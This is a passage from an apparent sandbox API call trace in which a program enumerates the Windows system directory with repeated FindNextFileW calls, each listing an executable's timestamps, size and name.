ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="hwrreg.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c16bb3f, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3c16bb3f, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe3a99a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="icacls.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae7063de, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xae7063de, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x55f5cb7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x151140, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="icardagt.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3989fb97, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x3989fb97, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe3a99a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="icsunattend.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd953427f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd953427f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3bcad00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="ie4uinit.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99f6e1f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd99f6e1f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3d6ebc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x29c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="ieUnatt.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0e6af5d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd0e6af5d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3f5be60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="iexpress.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6198f6b9, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6198f6b9, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe4230ff0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="InfDefaultInstall.exe", cAlternateFileName="")) returned 1 [0039.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a21ae5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x89a21ae5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe460dc40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="ipconfig.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53df1067, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x53df1067, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe465be40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="irftp.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ea0f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x870ea0f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x870ea0f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="iscsicli.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x396bec02, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x396bec02, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe46f3420, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1da00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="iscsicpl.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa7065be1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="isoburn.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b15b2d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xc1b15b2d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3ac0b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5d23879, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xc5d23879, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3ac0b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="ksetup.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1459e2, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3c1459e2, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe509ed80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="ktmutil.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe509ed80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="label.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fbb1543, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x1fbb1543, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe5bc74a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="LocationNotifications.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe5bc74a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="Locator.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83d2773, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x83d2773, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe5c12f90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="lodctr.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52359975, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x52359975, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe5c85b80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1ba00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="logagent.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ce93f1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84ce93f1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84d0f551, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="logman.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2baa022, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2baa022, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2bd0183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="logoff.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f930d6e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f930d6e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f956ece, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="LogonUI.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f611088, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f611088, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f6371e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9f800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="lpksetup.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a2b8b4, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x93a2b8b4, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe5e99f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="lpremove.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917ee720, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x917ee720, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe5e99f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="lsass.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8646ad5c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8646ad5c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86490ebc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="lsm.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc26f3e1f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc26f3e1f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe63cef40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9f600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="Magnify.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa993f206, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xa993f206, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe6599f00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1ca00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="makecab.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa131dd15, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa131dd15, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa131dd15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="manage-bde.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1285794, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1285794, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12ab8f4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe9c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="mblctr.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99860dd3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99860dd3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x998ad094, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x42a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="mcbuilder.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e9ff26e, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x4e9ff26e, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe6aa7e20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="mctadmin.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x384388cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x384388cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe6bfdae0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="MdRes.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cae1b2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cae1b2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90cd4312, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="MdSched.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad68b6a9, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xad68b6a9, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe6d2edb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="mfpmp.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0ab17e, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xaf0ab17e, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x2d518220, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x16650, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="MigAutoPlay.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x97ea8df4, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x97ea8df4, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe82c1510, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x20b800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="mmc.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa88cbd8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa88cbd8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa88cbd8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="mobsync.exe", cAlternateFileName="")) returned 1 [0039.324] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3581760b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3581760b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe85484a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="mountvol.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7d7555, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xfb7d7555, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe8710d50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="mpnotify.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdf674, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1cdf674, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x46f2a400, ftLastWriteTime.dwHighDateTime=0x1cb6fbd, nFileSizeHigh=0x0, nFileSizeLow=0x42180, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="MpSigStub.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x858ac30d, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x858ac30d, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe8900700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="MRINFO.EXE", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93ef72ce, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93ef72ce, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f1d42f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="msconfig.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f748c1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x23f748c1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe9260570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x106e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="msdt.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1d10961, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xf1d10961, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe92f7b50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="msdtc.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: 